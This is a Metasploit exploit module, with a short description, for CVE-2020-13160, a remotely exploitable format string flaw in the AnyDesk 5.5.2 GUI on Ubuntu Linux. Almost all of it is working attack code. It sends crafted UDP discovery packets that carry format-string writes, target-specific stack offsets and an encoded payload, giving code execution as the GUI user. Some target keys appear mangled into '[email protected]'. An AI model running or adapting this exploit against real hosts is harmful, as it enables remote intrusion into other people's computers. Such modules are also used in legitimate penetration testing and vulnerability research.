The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.
e9ef3a85832f0886a5ba8ac4e7bad664
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'AnyDesk GUI Format String Write',
'Description' => %q{
The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially
crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the
discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On
successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.
},
'Author' => [
'scryh', # vulnerability discovery and original exploit
'Spencer McIntyre' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2020-13160' ],
[ 'URL', 'https://devel0pment.de/?p=1881' ]
],
'Payload' => {
'Space' => 512,
'BadChars' => "\x00\x25\x26"
},
'Platform' => 'linux',
'Arch' => ARCH_X64,
'DefaultOptions' => {
'CPORT' => 50001,
'PrependFork' => true,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ SCREEN_EFFECTS ],
'Reliability' => [ UNRELIABLE_SESSION ]
},
'Targets' =>
[
[
'Anydesk 5.5.2 Ubuntu 20.04 x64',
{ 'stkref1' => 109, 'stkref2' => 125, '[email protected]' => 0x119ddc0 - 139 }
],
[
'Anydesk 5.5.2 Ubuntu 18.04 x64',
{ 'stkref1' => 93, 'stkref2' => 165, '[email protected]' => 0x119ddc0 - 135 }
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-06-16'
)
)
register_options([
Opt::RPORT(50001)
])
register_advanced_options([
OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50001 ])
])
end
def build_discover_packet(hn, user, inf, func)
buf = "\x3e\xd1\x01"
buf << [4919].pack('N')
buf << [0].pack('N')
buf << "\x02" + "\x01" # os
buf << [hn.length].pack('N') << hn
buf << [user.length].pack('N') << user
buf << [0].pack('N')
buf << [inf.length].pack('N') << inf
buf << "\x00"
buf << [func.length].pack('N') << func
buf << "\x02\xc3\x51"
end
def discover
server_sock = Rex::Socket::Udp.create(
'LocalHost' => datastore['SRVHOST'],
'LocalPort' => datastore['SRVPORT'],
'Context' => {
'Msf' => framework,
'MsfExploit' => self
}
)
client_sock = connect_udp(false, {
'RPORT' => datastore['RPORT'],
'CPORT' => 0
})
client_sock.put(build_discover_packet(rand_text_alpha(rand(5..9)), rand_text_alpha(rand(5..9)), 'ad', 'main'))
timeout = 10
while timeout > 0
start_time = Time.now
response, host, = server_sock.recvfrom(8192, timeout)
break if host == datastore['RHOST']
timeout = Time.now - start_time
end
return nil unless response[0..2].bytes == [0x3e, 0xd1, 0x01]
return nil unless response[11] == "\x02"
disconnect_udp(client_sock)
server_sock.close
hostname = response[17..17 + response[13..16].unpack1('N')]
report_host(host: datastore['RHOST'], name: hostname)
{
hostname: hostname,
os: response[12] == "\x02" ? :linux : nil
}
end
def check
info = discover
return CheckCode::Safe if info.nil?
CheckCode::Detected("Remote hostname: #{info[:hostname]}")
end
def bad_unicode
[ rand(0x80..0x90), rand(0..0xff) ].pack('CC')
end
def exploit
info = discover
fail_with(Failure::NotVulnerable, 'Discovery failed to detect the AnyDesk service') if info.nil?
fail_with(Failure::NoTarget, 'Discovery determined the remote host OS is incompatible') unless info[:os] == :linux
print_status("Discovered the remote service (hostname: #{info[:hostname]}, os: #{info[:os]})")
connect_udp
hn = "#{bad_unicode}%1$*1$x%18x%#{target['stkref2']}$ln"
hn << payload.encoded
udp_sock.put(build_discover_packet(hn, "#{bad_unicode}%#{target['[email protected]']}x%#{target['stkref1']}$ln", 'ad', 'main'))
print_status('Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...')
ensure
disconnect_udp
end
end